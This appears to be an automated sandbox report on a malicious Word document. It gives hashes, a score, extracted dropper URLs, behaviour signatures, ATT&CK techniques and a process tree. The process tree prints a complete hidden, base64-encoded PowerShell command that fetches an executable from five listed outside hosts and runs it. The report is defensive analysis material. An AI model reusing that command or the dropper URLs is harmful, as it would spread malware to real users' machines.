Overview

overview

8

task1

 

8

Analysis

  • max time kernel
    26s
  • resource
    win10v191014
  • submitted
    12-12-2019 23:25

Sharing

Copy URL
Twitter E-mail

General

  • Target

    81968bd2f3aba5dabe1fa57e078665bbb12af3f779b3bb015b03c90ce2feb3b0.doc

  • Sample

    191212-ehbrfgkwea

  • SHA256

    81968bd2f3aba5dabe1fa57e078665bbb12af3f779b3bb015b03c90ce2feb3b0

Score
8/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://polandpresents.info/libraries/65284EU/
exe.dropper

http://nbnglobalhk.com/cgi-bin/32n2/
exe.dropper

http://armgroup101.com/Old1/cpfa/
exe.dropper

https://pasadenacf.org/wp-content-orig/akzk9i/
exe.dropper

http://armanchemical.com/wp-content/9Bg1ybsr/

Signatures

  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\81968bd2f3aba5dabe1fa57e078665bbb12af3f779b3bb015b03c90ce2feb3b0.doc" /o ""
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:4896
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4284
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:2936
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABVAHQAYwBpAHEAbABkAGwAeQBmAHQAPQAnAFoAZwB1AGQAdABmAHcAegBpAG8AbwAnADsAJABGAHAAdwBmAG8AZAB6AGwAYgB1ACAAPQAgACcAMwA0ADEAJwA7ACQAVgBuAGMAcQBsAG4AbgBmAHUAcQBwAGcAPQAnAEEAbAB6AHcAeQBxAHAAeABlAGgAaQBwAHEAJwA7ACQARAB6AG4AdAB5AHgAbABkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABGAHAAdwBmAG8AZAB6AGwAYgB1ACsAJwAuAGUAeABlACcAOwAkAEUAbwB6AHgAdABoAHkAdgBwAGkAPQAnAFQAbABkAG4AbQBmAHcAegAnADsAJABLAG0AZABtAG4AaABuAHAAcwBjAHkAbQA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgB3AEUAYgBjAEwAaQBlAG4AVAA7ACQAWgB0AHkAdABvAGIAcQBxAD0AJwBoAHQAdABwADoALwAvAHAAbwBsAGEAbgBkAHAAcgBlAHMAZQBuAHQAcwAuAGkAbgBmAG8ALwBsAGkAYgByAGEAcgBpAGUAcwAvADYANQAyADgANABFAFUALwAqAGgAdAB0AHAAOgAvAC8AbgBiAG4AZwBsAG8AYgBhAGwAaABrAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMwAyAG4AMgAvACoAaAB0AHQAcAA6AC8ALwBhAHIAbQBnAHIAbwB1AHAAMQAwADEALgBjAG8AbQAvAE8AbABkADEALwBjAHAAZgBhAC8AKgBoAHQAdABwAHMAOgAvAC8AcABhAHMAYQBkAGUAbgBhAGMAZgAuAG8AcgBnAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAtAG8AcgBpAGcALwBhAGsAegBrADkAaQAvACoAaAB0AHQAcAA6AC8ALwBhAHIAbQBhAG4AYwBoAGUAbQBpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AOQBCAGcAMQB5AGIAcwByAC8AJwAuACIAUwBQAGAATABpAHQAIgAoACcAKgAnACkAOwAkAFMAawBkAGMAeQBpAHUAaAB3AHcAdwA9ACcAQwBxAGoAZgBzAGMAcABrAG4AbQBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABTAHUAZQBmAHkAZwB6AG0AbwBzACAAaQBuACAAJABaAHQAeQB0AG8AYgBxAHEAKQB7AHQAcgB5AHsAJABLAG0AZABtAG4AaABuAHAAcwBjAHkAbQAuACIARABgAE8AVwBOAEwATwBhAGQAZgBgAEkAbABlACIAKAAkAFMAdQBlAGYAeQBnAHoAbQBvAHMALAAgACQARAB6AG4AdAB5AHgAbABkACkAOwAkAEIAdQB2AGoAdQByAG8AcAB2AG8APQAnAEoAcABiAGkAbABvAGYAYQB3AGEAeABkACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARAB6AG4AdAB5AHgAbABkACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMgAwADMAOQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABBAGAAUgB0ACIAKAAkAEQAegBuAHQAeQB4AGwAZAApADsAJABIAGYAZQB5AHAAZwBtAGgAYQBtAG4AYwBlAD0AJwBIAGIAbwBuAGkAbQBvAGIAJwA7AGIAcgBlAGEAawA7ACQASQB2AHAAYQB3AHIAaQBwAHUAaABrAHEAcQA9ACcAVwBpAGEAdwB5AG0AYgB3AHYAdAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAHYAawBzAGQAYwBhAGgAbAB4AGcAPQAnAEUAbgBqAHcAcQBxAGsAagBjAGwAZABvACcA
      1⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3672
      • C:\Users\Admin\341.exe
        "C:\Users\Admin\341.exe"
        2⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        PID:1580

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    3
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads